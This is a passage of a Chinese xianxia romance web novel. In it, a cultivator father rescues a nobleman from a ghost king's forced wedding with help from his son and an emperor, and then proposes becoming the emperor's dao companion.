今天立即就转头找谢明堂吗? 沈不忘撑着下巴,也开始思考,道:“确实也有不好的地方,他可能会命很短,毕竟是没有修为的凡人,可以再找几个看看。” 戚宝:…… 爹,你这么做是不道德的! 你这是脚踏几条船!养鱼啊。 沈不忘似乎没有这方面的观念,他不是凡尘俗世里长大的,没有被人类社会的道德规训过,骨子里还是无情冷漠的人,一条路走不通,立即换一条路走便是。 他也没有到非谁不可的地步,自然不会在他们谁身上浪费时间。 在他看来,众生平等。 他要的是一个对自己有好感的,更好一点是爱着他的人,陪他度过漫长的一生,沈不忘陪他们相守,等到相爱的那一刻,便斩断这段情。 戚宝想到原文里,他爹是知道自己修的是无情道的事情,不想杀了自己的孩子,所以决定学习着爱上渡妄,然后杀了他。 现在不知道为什么会变成这样?为什么第一选择不是渡妄?难道他爹觉得谢明堂更好杀? 沈不忘见小家伙一脸惊恐的看着自己,小脑袋瓜子不知道在想什么,转而笑道:“逗你的,谢明堂身上有爹找的东西。” 戚宝问道:“哈哈哈,爹,你都会开玩笑了,他身上有什么东西呀?”该不会是谢明堂的命吧? 沈不忘目光沉沉,茶金色的瞳孔透着戚宝看不懂的情绪,他心底有些毛毛的,赶紧转移话题:“爹,你说的成家立业是……要给我找到娘的意思吗?” 沈不忘瞥了一眼戚宝,话到嘴边又改口道:“好,给你找娘。” 戚宝心凉了,他急需贺兰忱的帮助,他看完了全部小说的,快点告诉他一下,这个死局最后有解决吗? 他看的一半内容是沈不忘已经在仙门大比时候,杀了携领魔族众生来攻打仙门的魔神。 魔界众生无首,于是奉沈云戚为尊,让他替父报仇。 沈云戚本也不想去魔界,可是恢复了记忆的高高在上的剑尊却不认他这个儿子了。 于是沈云戚便抱着渡妄的尸首回到了魔界,带着恨意,要跟沈君钦一决生死。 相爱之人刀剑相向,父子你死我活……想干嘛?到底想干嘛? 夜里睡觉,戚宝气的睡不着,在床上翻来覆去。 沈不忘也没有睡,将他小小的身子搂在怀里,问道:“怎么了?” “我……失眠了。”戚宝耷拉着眼皮,从床上坐起来。 沈不忘也坐起身,面对面坐在戚宝的面前,问道:“有什么心事吗?” “我……”戚宝不知道如何开口,沉默了半响,道,“谢明堂叔叔是挺好的,颜渡叔叔也很好,他们都是好人。” “嗯?都是好人?”沈不忘疑惑。 戚宝又说:“皇帝很凶的,如果知道你要跟别人成家,他可能会……”他做了个抹脖子的动作,神神叨叨的解释道。 沈不忘蹙眉,问道:“你是说……要爹跟贺承元结为道侣?” “没没没,我可没有这么说。”戚宝赶紧摆手摇头,疯狂否认,混乱之下解释道,“我只是觉得好人……挺好的,应该长命百岁,皇帝不是个好人,我也不喜欢他,我不想你跟他成亲。” 他疯狂的解释着。 沈不忘若有所思的看着戚宝,觉得他说的很有道理,半响之后才道:“崽崽说的在理。” 戚宝松了一口气,道:“爹,你理解就好。” “爹应该跟坏一点的人在一起。”沈不忘得出这个结论,如果杀了本来就很坏的人,那也是为民除害。 戚宝满头都是问号,赶紧问道:“不是爹,你在说什么啊?” 危机感爆棚,戚宝担心他爹从一个极端走到另一个极端,立即将自己的想法都跟他爹说了一通,什么成家立业不仅要看人品,还要看是否合适,以及养鱼是不好的。 戚宝支支吾吾的跟他爹说了养鱼是不好的。 沈不忘问:“什么是养鱼?” “就是同时跟几个人保持暧昧关系,为了自己的目的,从对自己有好感的人身上得到好处。”戚宝小声嘀咕,十分不自信。 沈不忘若有所思,理解了戚宝的担心,笑道:“没有的,爹不会这么做的,爹没有同时跟几个人保持暧昧关系,爹谁都不喜欢只喜欢你……我只跟贺承元说过要结为道侣。” 戚宝松了一口气,确实确实,他爹也没有跟颜渡说,也没有跟谢明堂说,现在的情况不是养鱼,只是相亲不适合就拜拜,嘻嘻。 “等等,你跟贺承元……说什么了?”戚宝反应过来,目瞪口呆。 沈不忘道:“结为道侣,可是他拒绝了。” 戚宝倒吸一口冷气,一时间不知惊讶渡妄竟然会拒绝,还是该担心他爹竟然真的第一选择是渡妄。 沈不忘又说:“至于颜渡吧,爹祝福他了。” 戚宝心绪还是无法从刚刚的震惊中回过神来,我爹实在是对我太坦诚了,什么都跟我说! 有心魔了! 戚宝一脸欲哭无泪的模样,拉着他爹的手,情真意切发自肺腑的说道:“最重要的是,你自己也要开心。”无论跟谁结为道侣,都要是相爱的人,而不是随便选择一个人渡劫。 他也不想别人为自己而死,戚宝觉得就算他爹杀了所爱之人,依旧无法渡劫。 沈不忘看着戚宝璀璨如宝石般的眸子,微微发怔,温声道:“爹明白了,爹会好好考虑的,崽崽早点睡吧。” 戚宝心有不安的躺在他爹身边,虽然脑海里还是缠绕着无数的念头,可小小的身体却很累了,他抱着他爹的胳膊,睡前还喃喃说了句:“爹,我……”我来到这里,就是为了改变这个世界的! “嗯?”沈不忘侧耳倾听。 困意袭来,戚宝秒睡过去,最后的感受是他爹在他脸颊上亲了一下,温温软软的唇印在他的脸上。 爹爹会保护你的,不用害怕。 戚宝是个心思很重的小孩,但是架不住是小孩,就算心思再重,该睡还是得睡。 早晨,他还是在睡梦中,便听到谢明堂咋咋呼呼的声音在院子里响起。 谢明堂对沈不忘十分热络,什么好东西都往他们这边送,沈不忘也尽数收下了。 谢明堂更来劲了,于是计划带沈不忘到处游玩,听曲泛舟骑马放鹰,任凭挑选。 沈不忘最感兴趣的竟然是听曲儿。 “那便去听曲吧。”沈不忘回道,说罢还冲着他笑了笑。 戚宝立即三魂六魄都归位了,醒过来连衣服都没有换,顶着潦草的发型冲出来,道:“我也要去。” “好好好,一起去。”谢明堂一脸幸福的表情,看着沈不忘发呆。 谢明堂最是喜欢玩乐了,对京中的事事都如数家珍,走到哪里都有认识的人,还让酒楼送来上好的下酒菜。 他们人到的时候,酒菜便到了。 唱戏一般都是从下午唱到夜里,算是少有的夜间活动,梨花春雪作为城中最大的戏楼,来听曲儿的达官贵人不在少数,大堂里也坐的满满当当的。 谢明堂给他们定的雅间,二楼的位置,正对着戏台。 “这是今年新的明前龙井,沈兄品品。”谢明堂给沈不忘倒茶。 沈不忘道了谢,喝了一口。 谢明堂又给他拿了一块糕点,沈不忘也没有拒绝,两个人你来我往的,你一言我一语,似乎没有谁让话落在地上。 明明都是夏天了,戚宝却觉得自己心里拔凉拔凉的。 台上的戏唱着,观众席的人却没有要听的意思。 沈不忘问道:“谢公爷可曾婚配?” 戚宝耳朵立即竖起来,这是要开始了吗? 谢明堂正襟危坐,立即道:“不曾。” “那……” “爹,我想吃蛋糕!”戚宝开口打断。 沈不忘将目光转向戚宝,甚至不知道什么是蛋糕,戚宝无理取闹道:“我生辰就快到了,我要吃蛋糕!我就想吃蛋糕。” “蛋糕是何物?不如我叫府上厨子学着做,到时候可以跟沈小公子一道过生辰。”谢明堂对戚宝也是爱屋及乌。 沈不忘对戚宝道:“你先出去看看,这里是否有蛋糕,爹有要事跟谢公爷聊。” 戚宝:…… 爹,你变了,我已经不是你心中最重要的人了,你竟然赶走我? 戚宝垮着脸,双手环胸,转身就走。 除非你出来哄我,不然我不会理你的。 戚宝在心里默默数了三个数,十个数,十五个数…… 他回头看一眼,他爹根本没有理会他,而是继续跟谢明堂继续之前的话题,关于谢明堂是否婚配。 本宝宝生气了,他愤愤的关上房门。 戚宝跑下了楼,走到人群中,不知为何,今晚的戏园子里观众贼多,就连空地里都站着人,乌泱泱的一片。 按理说,这里不该有这么多人的,这是高端戏园子,寻常时候人是坐不满的,更不会让达官贵人们站在过道上。 此时过道上站满了人,坐在后面的人也丝毫不恼,兴高采烈的看着舞台上演的高潮部分,直接喝彩鼓掌。 戚宝好奇的在人群中穿梭着,最后找了个角落蹲了下来。 弱小可怜,又无助。 “谢公爷可曾娶亲?”沈不忘又问了一遍。 谢明堂难得坐得端正,他虽是纨绔,却也生的浓眉大眼,是京城出了名的美男子,人靠衣装马靠鞍,每每与沈不忘相约的时候,都是仔细拾掇过的,此时更是光彩照人,风采无比。 他眼睛带着几分期许,说道:“尚未娶亲,沈兄为何问此事?” 沈不忘听到这话,忽然笑了笑,谢明堂心中鼓动,似乎有什么东西要跳出来一般,看着沈不忘的眼神也越发热切,尚来不及开口便见沈不忘收敛了笑意,目光骤然冷了下来,问道:“若是没有成亲,那她们为什么一直跟着你?” “谁?”谢明堂顿时心头一惊,环顾四周,根本没有见着什么人。 沈不忘冷静的看着虚空之中,芙蓉面变成白骨肉,女鬼撕掉了自己的面皮露出狰狞的模样,阴邪之气瞬间充斥了整个雅间,空气骤然冷了下来。 一个两个三个……一共十二个。 任凭她们怎么张牙舞爪,沈不忘都岿然不动,还有闲情雅致喝一口杯中的茶水。 谢明堂见沈不忘端坐着,不动声色的,他搓了搓自己的胳膊,讪笑道:“沈……沈兄,你别吓我,我胆子小,你有没有觉得室内冷了下来啊?” “是冷了。”沈不忘凉凉的扫了一眼谢明堂。 十二张符咒尽数飞出,无火自燃,将整个房间照亮如白昼,十二道鬼魅的影子映在格窗上。 “沈兄,这这这这这……都是什么东西?”谢明堂吓得立即跳起来,脸色惨白,活脱脱要吓晕过去。 沈不忘冷声反问道:“你不知道吗?” 谢明堂都快吓尿了,赶紧道:“不知啊……啊啊啊……” 他看见了一个脸烂了一半的女人凑到了他的面前,两眼一翻倒在了地上。 沈不忘蹙眉,这些东西不像之前遇到的鬼魂,身上散发着更为怨毒的黑气,不是轻易能用符咒驱散的,受到了攻击,反倒更加凶猛了,一个个朝他袭来。 这些东西怨气深重,从第一次见谢明堂的时候便一直纠缠着他,当时尚不成型,从帝陵出来后,这些怨气更甚,甚至里面还有一点点戚宝的气息。 沈不忘知道,自己一直要找到的东西,可以在谢明堂身上找到。 他无意间发现只要对谢明堂表露出友善,那怨气便会冲着他来…… 第 52 章 求婚3.0 贺兰忱找到戚宝的时候, 戚宝正蹲在一个角落画圈圈,看上去心情十分不好的样子。 贺兰忱拍了拍戚宝的肩膀,脸上露出十二分惊讶的神色, 道:“戚宝, 你怎么在这里?” “陪我爹来听曲。”戚宝斜眼打量了他一眼。 贺兰忱面露难色, 道:“那你爹了?” “在楼上……跟谢明堂一起。”戚宝眼角的余光忽然瞥到了一双十分华贵的鞋子,抬头看去, 正是冷着一张脸的渡妄,阴沉着眸子, 看上去十分冷酷可怕。 贺兰忱赶紧道:“你爹怎么把你一个人丢在这里?” “什么?”戚宝疑惑不解。 贺兰忱道:“你看看这是什么地方!” 戚宝疑惑转身,发现原本华丽的梨花春雪,高朋满座的园子,此时竟一阵凉风吹来,变成了荒芜一片的乱葬岗, 冷风萧索, 野鸦乱飞,站在树梢上嘎嘎叫着,绿油油的眼睛四处乱看着。 刚刚蹲着的墙角竟是一座没有写名字的墓碑。 戚宝顿时头皮发麻,后退了几步,哆嗦着问道:“怎……怎么会这样?” 没得到回答, 戚宝便被人提了起来,像是被拎小鸡一样,渡妄一只手就把他拎了起来,阴恻恻的问道:“你爹了?” “在……”戚宝手指向雅间的位置,可那边哪里还有什么房子,四周空荡荡的,只有一个立着的残破的石碑, 四下空无一人。 沈不忘和谢明堂都不见了。 戚宝两眼空空,脑子宕机了,呆呆的看向眼前阴着脸的男人,讷讷道:“我爹……不见了。” “没用的东西。”渡妄嗤了一声,将他丢到地上。 贺兰忱上前扶住他,一边解释道:“父皇,当务之急还是找到沈叔叔。” “要你说。”渡妄在乱葬岗到处走,似乎在找着什么。 戚宝冷着脸看他,扣大分,好感分全都扣完! 贺兰忱小声蛐蛐道:“父皇一直在找你们。” “哦。”戚宝冷漠的应了声。 他虽面上冷静,可心里也着急起来,他爹竟然不见了,难道遇到了鬼打墙?或者什么秘境? 谢明堂知道这里是一个乱葬岗吗?他该不会还是跟那次一样被人控制住了吧? 渡妄似在自言自语又似在跟他们两人解释此处异常的缘故:“那些宗门之人全都死了,无人坐镇,京城的妖魔鬼怪便跑出来作乱了。” 密林深处忽然传来吹拉弹奏的声音,咿咿呀呀的在黑暗中十分诡异,待到乐队走近才发现那是一列迎亲队伍。 八抬大轿上中间端坐着一位红盖头红装的新娘,身材消瘦且高大,看上去不似女子的模样。 渡妄三步并坐两步冲上去,一把掀了他的盖头,盖头下不是他预想的人,而是一具骷髅,抬轿的纸人怪腔怪调的喊道:“耽误吉时,不得好死,不得好死。” 渡妄戾气横生,恨不得撕了这些纸人。 贺兰忱见状立即道:“我父皇乃山河王朝帝王,特地来参加贵府大喜事,劳驾诸位带路。” 纸人诡异的眼神盯着贺兰忱看了半响,一道清澈的男音响起:“来者是客,请诸位进来吧,我与明郎的婚事不能再耽搁了。” 纸人不再纠结渡妄无礼的行径,抬着骷髅朝着森林深处走去。 贺兰忱扯了扯渡妄的衣摆,道:“父皇,我们跟上它们吧。” 渡妄阴冷着眸子,跟上了迎亲的纸人们,贺兰忱拉着他的衣摆,对着戚宝伸出手道:“牵着我,别松手哦。” “好。”戚宝伸出小手。 渡妄现在看谁都不顺眼,扯了扯自己的衣摆,却没有抽回来,只听贺兰忱又说:“父皇,你要好好保护我和戚宝啊,我们只能靠你了。” “没有的东西。”渡妄依旧是这句,又补了句,“你们自己抓好,走丢我不会找你们,尤其是那个小的。” 贺兰忱连连点头,紧紧拉着戚宝。 戚宝心里疯狂给渡妄减分- 100- 100 …… 这人在戚宝心里现在已经是负好几百分了! 跟着迎亲的队伍,穿过一道结界,眼前便不复之前的阴冷森林,反倒是一处十分华贵的宫殿喜堂,天黑漆漆,宫殿里挂满了红灯笼,大红的喜字贴在门上。 此处宫殿十分巍峨恢弘,琉璃作瓦金作堂,白色的石柱三人合抱雕梁画栋,宫殿修建的极高,层层迭迭高耸入云,宛如仙界一般。 奉天宫三个大字写在纯金的牌匾上。 三人走到宫殿门口,竟也显得渺小,头顶上来来往往的是谈笑风生的纸人,咿咿呀呀的说着寒暄的话。 戚宝经历过不少生死了,此时见此诡异的场景竟然也不害怕,悄悄打量起来,他这一看就发现了一些问题。 这些纸人的衣服竟然有些眼熟,像极了某些宗门的衣裳,比如苍穹派的制服便很眼熟,苍穹派号称天域苍穹,衣服便是与天一色,蓝底祥云纹饰。 无极宗穿白衣,又为了凸显自家宗门财大气粗是修真界第一大宗门便在上面重工刺绣九凤尾羽。 青云宗比较干练,淡青色底色,配白色。 各家有各家的特色,戚宝此时却见这些纸人身上画的便是那些衣服的纹饰,可见此间宫殿的主人不是什么凡尘俗鬼,而是大有来头的。 渡妄皱着眉头,冷冷的扫视着四周的落座的纸人,忽而看到左边首位坐着的正是沈不忘,他端坐在纸人中间,面前摆放着香烛贡品,酒水茶品。 他大步走向沈不忘,将他拉起来,道:“跟我走。” “……”沈不忘抬眸看他,目光空空的没有焦距。 戚宝也赶紧小跑过来,喊道:“爹,我们走吧。” 沈不忘依旧冷冷的,面上没什么表情,看上去像失了魂。 宫殿四面传来一阵清润的男声,道:“来者是客,不如参加小生婚宴后再走,可好?” 贺兰忱拉了拉他们,道:“我们还是先参加完婚宴好了。” 渡妄敛下眼中的戾气,一脚踹掉坐在沈不忘身侧的纸人,大摇大摆的坐下。 戚宝和贺兰忱硬要挤在两大人中间的位置,于是渡妄又压抑着怒意踹掉了两个纸人。 “你能不能轻点啊?” “真是无礼之人。” 两纸人竟然说话了,声音竟然很熟悉,戚宝看了一眼服饰,看着像颜渡叔叔和伯伯。 这宫殿的主人到底是谁? “吉时已到,请新人拜天地。”主婚人坐在高堂之上,脸上没有五官,只有光秃秃的一张面皮。 戚宝看了一眼,不可名状的恐怖从心底生出,他立即收回目光,不敢直视它。 礼乐变得更加喜庆,大厅中间穿着红衣盖盖头的骷髅的新郎牵着喜服加身的谢明堂走了进来。 谢明堂两股战战,面色惨白,简直比死人更像死人,他眼珠子到处偷看,看到如斯诡异恐怖的一幕,简直想要晕过去。 谢明堂目光落在沈不忘身上的时候,忽然一亮,大喊道:“沈兄救我,沈兄……我不要跟这个鬼成亲!救我。” 沈不忘像是听到了一般,缓缓从椅子上站起来,不问仙出现在手中,剑气无差别击中周围所有纸人,七零八落的碎了一地。 “你想抢亲?”温润的声音变得冷厉,那骷髅是真的生气了。 沈不忘提剑而去,剑尖直指骷髅的面门,四面八方的纸人全都挡在骷髅公子面前,跟沈不忘正面打了起来。 宫殿里的纸人成千上万,除了有座位上的纸扎人外,还有无数的剪纸人,此时像是飞来的纸蝴蝶一样,一半缠着沈不忘,一半将骷髅公子和谢明堂带走。 谢明堂大喊大叫道:“人鬼有别,我也不认识你,你认错人了。” “哈哈哈,明朗,就算你化成灰我都不会认错。”骷髅人抓着牵巾,将谢明堂绑到自己身边,修长的骷髅手指轻轻抚摸着谢明堂的脸颊,捏着他的下巴,迫使他抬头 谢明堂的眼睛对上骷髅一双空洞的眼眶骨,两眼一白,随后又被骷髅的桀桀怪笑唤醒了,“你说过,永远不会背叛我,为什么不愿意跟我成婚?” 谢明堂一张脸痛苦到了极致,求饶道:“我真的不认识你……求求你,放过我……你要找明朗,我去帮你找……” “不,你就是!”骷髅公子怒吼一声。 无数的剪纸小人像是狗皮膏药一样贴在沈不忘的皮肤上,原本落在下风的纸扎人也开始伤到了沈不忘,手臂上中了一剑,背上衣服被扎破…… “你快去帮帮我爹。”戚宝抓着渡妄,恳求道。 渡妄凉凉的看了一眼戚宝,道:“我凭什么帮他?他不是要抢亲吗?” “你无情!无意!”戚宝心急如焚,却也不知道怎么办才好。 “这里是鬼王的地界,他打不过鬼王的。”贺兰忱斜眼瞥了一眼渡妄,小声告诉戚宝,似怕说话声音太大被渡妄听到般。 戚宝见他挤眉弄眼的,立即会意,小声骂道:“原来是这样,那我也不能强人所难,还以为只是无情无义的人,原来是没用的人。” 贺兰忱:…… 骂的挺脏的,你小子。 渡妄额角抽了抽,明知是两人的激将法,还是站起身来,一脚踩断了面前的矮桌,朝着战场而去。 沈不忘这一次算是吃了大亏,这些东西单个看虽然渺小,却胜在量大。 戚宝站起身张望,贺兰忱道:“你别着急,他们两人肯定可以的。” “可是我都看不到他们人了。”戚宝急急道,那些纸人越来越多,将两人都埋了进去,宛如巨大的蚕蛹。 并且蛹越收越紧,宛如要将两个人绞死在里面。 一个被打落的剪纸人落在了他们的桌上,小纸人短手短脚爬起来,准备继续去战斗,忽然看到桌上招待的香烛,顿时眼睛冒起了诡异绿光,渴望的眼神悄悄瞥了一眼高大的戚宝。 戚宝也顿时眼睛一亮,拿起一个香烛递给纸人,纸人立即开心的大快朵颐起来。 贺兰忱道:“拿着个给它们吃,吸引它们的注意力。” 戚宝立即拿起个香烛,劝那个小纸人道:“快让你的小伙伴一起来吃啊,这里还有很多。” 纸人邪恶的绿眼睛闪了闪,一把抢过大香烛,扭着腚转过身去,坐在那大吃特吃,却没有招呼自己的小伙伴来吃。 戚宝大失所望,这纸人好自私,自己一个人吃独食!! 贺兰忱却忽然大喊着:“快来看啊,这里有鬼吃独食了,专吃鬼王喜宴的特供香烛,你们辛辛苦苦的打架,还要被冒着魂飞魄散的风险,有人却在这摸鱼吃东西,这替你们不值!” “抓到一个摸鱼的!!唔……”贺兰忱还要喊,摸鱼纸人飞起来贴在他嘴巴上,让他物理闭嘴。 戚宝接过贺兰忱的话茬子,大喊大叫手舞足蹈的吸引着纸人的注意:“有鬼吃独食,还捂嘴不让我们说……” 果然有纸人听到了,看着生死攸关的时,还有鬼在偷吃,一点力气都不出,还不叫它们,一个两个发现,接二连三的纸人都发现了。 小纸人们脱离了茧,一窝蜂飞到捂嘴的小纸人这,追着它到处乱跑。 它们不是嘴馋想吃香烛,而是不爽所有人都在努力干活,只有这只在摸鱼,这让所有的小鬼心里都不平衡。 凭什么我在打工,你在吃东西?凭什么凭什么? 小鬼们都不会说话,只能发出咿咿呀呀的声音,可是愤怒的气息让人即便不明也能共情它们的情绪。 “你们给我回来!”骷髅公子怒道。 也就这一刻,纸人们离开了一部分,让蚕茧多了个裂缝。 火焰从内部烧了出来,红莲业火直冲天顶,火焰中两个人影停在半空中,无数小小的纸人被烧掉,宛如一场火焰的雨,转瞬熄灭,成为灰烬。 “别……”沈不忘忽然低声呢喃了一句。 渡妄侧耳凑近他唇边,发现他缓缓闭上了眼睛,不确定他想说什么,他拦腰将人抱住,周身火焰一滞。 忽然一个纸人牵着一个更小的纸人穿过火光,落在了沈不忘的身上,纸人停在沈不忘的眉心,消失不见了。 更小的纸人腿被烧伤了,此时又丢了大纸人,于是伤心的坐在沈不忘的脸上,开始哭哭,虽然听不到声音,但是小东西肯定很伤心。 渡妄忽然愣了一下,抓住那个小纸人,那个小纸人还挣扎想跑掉,小手拍打在渡妄的手指上宛如空气,他疑惑的打量了一番这个即将消散的魂魄,随后将它装进了养魂珠里。 “呵,你们烧了我与明朗的爱巢,此仇必报。”骷髅公子声音从四面八方而来。 宫殿被火烧尽,天光大亮,照在人的身上。 戚宝和贺兰忱没有受伤,看到渡妄公主抱着沈不忘,站在密林深处。 “走吧。”渡妄对两小崽子说道。 两个人跟上,很快身后传来了一道熟悉的声音道:“唉唉,你们别丢下我,带我一起回去啊。” 谢明堂此时已经衣衫褴褛,浑身却黑,像是被烧焦了一般,但是那双眼睛却依旧透着清澈的愚蠢。 “你没有被鬼王抓走吗?”贺兰忱惊讶道。 谢明堂挠了挠头,道:“多亏了沈兄舍命相救,那……跑了。”他不敢提及那个东西,压低了声音。 “他为什么会找上你?”戚宝审问道,“是不是你做了什么对不起别人的事情?别人死了都不放过你?” 谢明堂哭丧着脸道:“怎么可能啊?我可从来没有辜负过任何人啊。” 戚宝哼了一声,道:“奇了怪了,为什么你说喜欢我爹后,那鬼就来逼婚了?” 谢明堂大喊:“清汤大老爷,我冤枉啊,我真的没有骗过任何人的感情。” 原本只是他们在说话,此时渡妄却凉凉的扫了一眼过来。 谢明堂立即危机感十足,道:“皇兄,你……怎么了?” “皇兄?”贺兰忱眉头挑的老高。 谢明堂立即捂着嘴巴,意识到自己说错话了。 回到皇宫,一群人在藏珍阁找了一圈,终于找到了关于这个鬼王的一些记载。 此鬼名叫蓝奉延,几百年前就在,而他口中的明郎不是谢明堂,而是山河王朝开国先祖贺明朗。 后来不知发生了一些什么事情,此鬼会每百年出来一次,纠缠贺家的后人。 “那跟谢明堂有什么关系啊?”戚宝若有所思。 贺兰忱斜眼看向谢明堂,道:“老实交代!” “冤……冤枉啊。”谢明堂立即心虚不已,竟然在两个孩子面前被逼得毫无招架之力。 “坦白从宽,不然我就告诉我爹你是个渣男。”戚宝桀桀怪笑。 谢明堂:…… 天元殿内,渡妄坐在地上,半倚在床边,床上的沈不忘正安详的躺着,神魂分离后会有一段时间的昏迷。 渡妄拿起那颗养魂珠,小小纸人不是寻常的鬼魂,只有一魄,此时正温养在珠子里,因为被他的魔焰烧伤了,此时变成了一团雾气,看不出形状。 这是谁的魂魄?气息却有些熟悉,好像是那个小崽子的。 渡妄心里有些猜测,正想着,身后便传来声音,他立即将养魂珠放进储物戒中。 床上的人坐起身来,撑着额头,显然还未从失魂中回过神来。 沈不忘此时有些难受,皱着眉头,缓缓闭上眼睛,凝神片刻睁眼,侧眸看到坐在地上的帝王。 他微微一愣,问道:“你怎么在这?” “爬了我的床,还问朕怎么在这,嗯?”渡妄起身,靠近床边,冷锐的目光盯着他的脸。 沈不忘明显愣了一下,站起身来,道:“我该走了。” “走,走去哪儿?”渡妄冷冷的问道。 沈不忘看他,此人不知为何又在生气,脾气捉摸不透的,甚至小孩子情绪都比他稳定。 “沈君钦,你想睡了我不负责?”渡妄握住他的手腕,皮笑肉不笑的问道,说话的语调虽然清冷平静,却压迫感十足。 沈不忘默了。 渡妄捏住他的下巴,迫使他抬头看他,问道:“说话。” “你认错人了,我不叫……” “沈不忘是吧,那就是沈不忘。”他的声音像是从牙缝中挤出来的一般,“你……是什么意思?招惹了我,还去招惹别人?你就这般不知羞耻,朝三暮四?” 沈不忘听着他的话,很是不解,他已然看过很多书了,对人世间的情爱故事有了许多了解,眼前的人是喜欢他的。 他可以清晰的感知到。 偏偏他又会说这些指责的话,他原本就是这样的人,还是因为喜欢自己让他变成这样的人? 沈不忘不太确定。 “你说话。”渡妄恼火不已,他还用这般冷静审视的目光打量自己。 沈不忘思索了片刻,问道:“何时招惹别人?” 渡妄也愣了一下,他显然不能暴露自己就是颜渡,还有他拈酸吃醋的模样确实面目可憎了些。 “谢明堂,你不是为了他去抢婚吗?”渡妄咬牙切齿道。 沈不忘伸手揉了揉眉心,灵魂出窍之后的事情他都不太记得清了,坦诚道:“我不记得了,我只是想……” “每次都不记得,事事都不记得,凡事与我有关,你都不记得,你是否有心,我是否可以信你?”渡妄声音扬了个八度。 他在他面前胡说八道信手拈来,无论说多不靠谱的话,他都不否认不搭话,像是全然漠视了他这个人。 他明明在前几日还问他是否要跟他结尾道侣的? 又被骗了一次吗? 沈不忘盯着他的眼睛看了良久,垂下眼眸,似无声的叹息了一下,声音很低很低的问道:“你不是拒绝了吗?” “难道你不能再问一遍吗?每一次都要我跟在你身后当条狗吗?”渡妄咬牙切齿。 话音刚落,便听沈不忘说了句什么。 渡妄没听见,呆了一下,怒道:“你说什么,就不能大声点吗?” 沈不忘颇有些无可奈何的,不过此时的心态却好了不少,拿出了十二分的耐心,又问了一遍:“你愿意跟我结为道侣吗?” 渡妄哑口无言。 沈不忘又补了一句:“此话我只对你说过。” “谁……谁知道你说的是真是假。”渡妄有些不自在的说道,目光悄悄瞥了他一眼,又说,“指不定你什么时候对别人说过,又说自己不记得了。” 沈不忘见他不回自己的问题,是不是依旧不愿意? 看来找他当道侣真不是一个明智的决定。 “你喜欢我吗?”沈不忘又问。 渡妄傲慢的回道:“我说过了,我只是想睡你。” “好。”沈不忘颔首。 他竟然应好? 渡妄见他从容自若的应好,心中顿时捣鼓一般,血液里又似沸腾起来,这种感觉一如当年他邀请自己双修。 分明是古板冰冷的雪山,却能让人心潮澎湃,血脉滚烫。 “好……什么?”渡妄凑近他的脸,目光紧紧盯着他任何一处细微的表情变化,呼吸都有些不稳了。 第53章 沈不忘见他凑得很近的, 下意识的往后退了一步,腿弯处被床榻撞了一下,跌坐在榻上。 男人就势弯下腰来, 双手撑在床边, 深邃的黑眸比宝石还璀璨, 眼底有他看不懂的光,他的呼吸都变得轻了, 却很热,渡妄在等他一个回答一个首肯。 “嗯?”渡妄却从他眼底看到些许不解。 沈不忘伸手抵着他的胸膛, 像是要推开他,渡妄却大手覆盖住他的手背,将他的手拉向自己的心脏的位置,拇指轻轻在他的掌心摩挲着。 “说啊。”渡妄眼底带着淡淡的笑。 沈不忘感受着手下沉稳跳动的心脏,看着眼前的人半响, 心中有些许怯意, 却不想如此不明不白的。 沈不忘自有记忆以来,第一次如此不安,不像他被人拒绝了两次,反倒是他说出来的话会让人肝肠寸断。 沈不忘声音低低的:“你不愿意结为道侣,我说……唔。”好字未说出, 他的唇便被堵住了。 是他不想结为道侣,沈不忘应了声好。 不是他说想睡他,他应得好。 显然,眼前之人弄错了。 真是无心无情的狗屁正道魁首,说的话比他的剑更为伤人。 一颗心被高高的献上,他甚至无需用力便能捏的粉碎,不想听不愿听。 吻变得激烈起来, 大手摁住他的后脑勺,让他无处可退,逆来顺受的承受着男人的怒意和吻。 他在他唇上啃咬着,游蛇般撬开他的唇舌。 从坐着到压在榻上,双手掐着他的腰,双腿狠狠禁锢着他的身体,动弹不得,反抗不得。 沈不忘脱了力,脑袋昏昏的,视野中的男人变得模糊起来。 …… 急促的喘息声在耳边响起,他声音压抑的可怕:“为什么……骗子,你这个骗子。” “我……”尚未来得及解释。 嘴唇再一次被吻住,渡妄不想听他说话,只能一遍一遍的堵住他的嘴唇,用最简单粗暴的方式阻止他说话。 他好蠢。 这个人没有心的,他可以随时可以再去找别人,他这一刻忽然明白了一件事,他不是沈不忘唯一的选择,而是正好他在这里。 就如当年在结界中,沈君钦问他要不要一起双修的时,也仅是因为那里只有他。 若是身边是别人,他是不是也会如此? 愤怒,嫉妒,化作一腔火,拉着高高在上的仙尊与他一道燃烧殆尽。 一吻完毕,终于得到喘息的机会,渡妄的手捧着他的脸,额头抵着额头。 “我是真的想要与你结为道侣的。”他这话说的极快,生怕慢了再无开口的机会。 渡妄危险的眼睛看着他,声音沙哑道:“你又不喜欢我,结什么道侣?” 沈不忘眼尾泛红,嘴唇被他肆掠的发红微微肿着,手指压着他的唇瓣,指节压着他口中软软的舌头。 “嗯。”沈不忘许是有些难受,偏过脸去,双手抬起来,搭在他的肩膀上。 这样的姿势还是过于亲密暧昧,他情动的抵着他,身体的温度透过薄衫传达到他的手上,沈不忘声音很轻很轻。 “我现在确实不喜欢你,没有爱情可言。” 渡妄听到这里,不由自嘲一笑。 沈不忘的手从肩头抚上他的脸,认真的看着他的眼睛,第一次直视男人藏着的浓情与爱意,看到他眼中的自己。 他说:“我不爱你,可是我感受到了你爱我,我这辈子没有爱过别人,我不懂什么是爱,我想要从一个爱我的人身上学习到如何爱他。” 渡妄:!!!! 沈不忘问:“你愿意等我爱上你吗?愿意教我怎么爱上你吗?” 渡妄心脏剧烈的跳动起来,嗓子像是被什么压抑住一般,问道:“所以你想跟我结为道侣?” “嗯。”沈不忘点点头,乖巧的样子让人心动不已。 渡妄忽然紧紧将他搂进怀里,脑袋埋在他的脖颈间,紧紧拥抱着他。 咚——咚—— 心脏跳动的频率趋于统一。 “你不许骗我。” 良久后,渡妄才喃喃在他耳边低语着。 “不要骗我,即便我已经被你骗过两次了。” “嗯。”沈不忘伸手揽住他的背脊,温柔的回抱着他。 这样的姿势拥抱的一会,细细的啄吻在耳际落下,温软的嘴唇一直从脸颊亲到嘴唇,不似之前那般狂风骤雨的疯狂。 温存的氛围让人心底不由的微微发颤,沈不忘张口想说话,灵活的唇舌陷入他的唇缝,加深了这个吻。 这一吻变得缠绵,他的手握住他的指尖,变为十指紧扣的姿势,压在轻软的床褥上。 “唔……” 嘴唇离开唇瓣往下的时候,沈不忘终于有机会说话了,他微微喘息着,轻声道:“我去告诉……戚宝此事,他必然很开心。” 